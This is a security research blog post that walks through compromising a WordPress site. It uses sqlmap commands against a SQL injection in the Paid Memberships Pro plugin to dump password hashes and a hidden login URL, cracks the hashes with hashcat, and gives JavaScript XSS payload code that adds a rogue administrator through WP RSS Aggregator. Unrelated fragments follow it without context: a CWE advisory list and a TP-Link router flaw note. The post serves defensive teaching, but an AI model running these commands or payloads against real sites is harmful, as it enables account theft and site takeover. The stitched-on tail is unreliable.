Although, as demonstrated by the recent CVE-2024–4439 vulnerability, WordPress is not flawless, it remains an extremely robust solution, and from an attacker’s point of view, it’s much easier to find another entry point to compromise a WordPress instance.

Luckily (or not) this other vector exists and it’s WordPress plugins. With nearly 60,000 free extensions available, any one of them can represent a possible gateway to a complete compromise of your instance.

Based on our day-to-day work at Tenable Research, we will illustrate this in this article through different steps/scenarios on a real WordPress instance.

1/ Identify available WordPress plugins

When a WordPress plugin is created, developers can rely on a number of standards. Among these standards is the “Readme.txt” file, which many plugins respect.

This file can be used by an attacker to identify whether or not a plugin is available. In the knowledge that this file is most of the time available at the URL “http://WORDPRESS/wp-content/plugins/[PLUGIN SLUG]/readme.txt” using a wordlist of plugin names, an attacker can perform bruteforce to identify available plugins.

We can see here that we have two plugins installed

• WPS Hide Login
• Paid Memberships Pro

If you take a closer look at the second one, you’ll see that it’s installed in version 2.9.7

Note : Sometimes the stable tag is empty but you can still look at the changelog section

A quick search reveals that this plugin is vulnerable to an unauthenticated SQL injection !

Now that we’ve identified the available plugins and that one of them is vulnerable, we’ll now look at how to compromise the WordPress instance.

2/ From SQL Injection to complete compromission

First, you need to understand the vulnerability in order to understand how to exploit it. Either by

• Downloading a vulnerable version, looking at the code and trying to reproduce the vulnerability
• Or a public exploit is already available

In our case, the vulnerability is detailed in this article and the command to exploit it via the SQLmap tool is provided.

With SQL Injection, among the available techniques, the most common consists of extracting the users and their password hash.

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL -dump -T wp_users -C user_login,user_pass
[...]
[14:59:53] [INFO] GET parameter 'code' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[...]
GET parameter 'code' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: code (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: rest_route=/pmpro/v1/order&code=a' AND (SELECT 1804 FROM (SELECT(SLEEP(5)))jJJd) AND 'MnNj'='MnNj
[...]
Database: wasvwa
Table: wp_users
[2 entries]
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| subscriber | $P$BQG8CvNGjGGbMmr5KxN8p3BnwdgMbf0 |
| admin      | $P$BUwEadKq2ID1rSD6/G4/tTf85WONEf1 |
+------------+------------------------------------+

Note : Users are usually stored in the ‘wp_users’ table, with ‘wp_’ being the basic prefix. If this is not the case, you can search for the table name/prefix by listing the columns with the following SQLmap command :

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL —-columns
[...]
[15:50:38] [INFO] retrieved: wp_pmpro_membership_ordermeta

Now that we have recovered the users and the hashes we need to find the password in clear text. We will not go into the details of this step here and simply use hashcat with a wordlist to recover the password in plain text.

The only important option to understand here is `-m 400` which translates as “hash mode 400”. The number 400 corresponds to the password hashing technique used by WordPress. In the background, WordPress uses the ‘wp_hash_password()’ function which uses the PHPass library and, in short, returns an MD5 hashed password with additional security mechanisms.

hashcat -m 400 -a 0 -o cracked.txt hash.txt wordlist.txt
[...]
cat cracked.txt
> $P$BUwEadKq2ID1rSD6/G4/tTf85WONEf1:password

To summarize, we identified the available plugins, one of them is in a version vulnerable to an unauthenticated SQL injection which we exploited to retrieve the list of available users with their hashes which we bruteforce to recover the clear password of the administrator !

The next step is therefore to authenticate, to do this, by default, the URL of the WordPress admin panel is available at the URL /wp-admin/

Except that in our case, we are redirected to a 404! If we return to the list of installed plugins, we remember that “WPS Hide Login” is installed.

WPS Hide Login is a very light plugin that lets you easily and safely change the url of the login form page to anything you want.

Once again, we will be able to use our SQL injection to find the real login URL. For this plugin, what we are looking for is stored in column ‘option_value’ of the table ‘wp_options’

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL -dump -T wp_options -C option_value --where "option_name='whl_page'"
[...]
Table: wp_options
[1 entry]
+--------------+
| option_value |
+--------------+
| hidden_login |
+--------------+

We can now access the login page and authenticate.

Once authenticated, to obtain an RCE, among the available techniques the two simplest are as follows :

• Upload a new malicious plugin to execute code
• Edit an existing file to insert malicious code

The second is the simplest because everything is already there by default, you just have to go to “Tools > Theme File Editor > Themes Functions” and insert a piece of PHP code allowing you to execute code.

Once saved, we can therefore execute arbitrary code on our WordPress instance

3/ From Cross-Site Scripting to complete compromission

Less direct than an SQLi, an XSS can also compromise a WordPress instance, and for this example we’ll take the WP RSS Aggregator version 4.23.8.

This plugin is vulnerable to a reflected XSS and therefore requires that the URL containing the payload be transmitted directly to the administrator.

The original request can be obtained by going to the plugin page and clicking on the “Dismiss this notification” button :

On the code side, in version below 4.23.9 of WP RSS Aggregator, this vulnerability is present due to the use of the `sprintf()` function, which is used to display the response to the user.

The notice_id value is inserted into the message without filtering allowing to insert arbitrary HTML code :

There are several XSS techniques that can be used to take control of an instance, the two most common being :

• Add a new administrator
• Modify page code directly to insert a webshell

The code below, for example, is used to create a new administrator :

requestURL = "/wp-admin/user-new.php";
nonceRegex = /ser" value="([^"]*?)"/g;

xhr = new XMLHttpRequest();
xhr.open("GET", requestURL, false);
xhr.send();

nonceMatch = nonceRegex.exec(xhr.responseText);
nonce = nonceMatch[1];
params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&[email protected]&pass1=password&pass2=password&role=administrator";

xhr = new XMLHttpRequest();
xhr.open("POST", requestURL, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(params);

Simply save the code to a file on a publicly accessible server, send the URL containing our payload (loading our remote script) and you’re done.

A new administrator is added :

As a side note, the plugin author has corrected the vulnerability by escaping the HTML code of Exceptions messages :

Which corrects the vulnerability :

This article shows how to identify available plugins, compromise an instance via SQL Injection while bypassing a defense mechanism that hides the login URL, and also how to create a new administrator via Cross-Site Scripting.

Obviously, this article is only an introduction and does not describe all possible cases or less likely/common scenarios, such as the possibility of creating an administrator via SQL Injection.

However, we understand that although WordPress is reputed to be robust, plugins are not necessarily so and can therefore allow your instance to be compromised. It is therefore essential to review the plugins you install, check that they are up to date and if possible enable automatic updates.

WordPress : From vulnerability identification to compromising was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') may allow Unauthenticated RCE
Successful exploitation of these vulnerabilities could allow an attacker to execute unauthorized code on the platform.

CWE-305 Missing Authentication for Critical Function
Missing Authentication for Critical Function may allow Authentication Bypass
Successful exploitation of these vulnerabilities could allow an attacker to execute unauthorized code on the platform

CWE-330 Use of Insufficiently Random Values may allow Authentication Bypass
Successful exploitation of these vulnerabilities could allow an attacker to execute unauthorized code on the platform.

CWE-20 Improper Input Validation:
Improper Input Validation may allow Denial of Service. Successful exploitation of these vulnerabilities could allow an attacker to execute unauthorized code on the platform.

CWE-320: Key Management Errors:
Successful exploitation of these vulnerabilities could allow an attacker to execute unauthorized code on the platform.

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'):
Successful exploitation of these vulnerabilities could allow an attacker to execute unauthorized code on the platform.

This vulnerability allows network-adjacent attackers to access or spoof DDNS messages on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability. However, devices are vulnerable only if configured to use the Comexe DDNS service.

The specific flaw exists within the cmxddnsd executable. The issue results from reliance on obscurity to secure network data. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of root.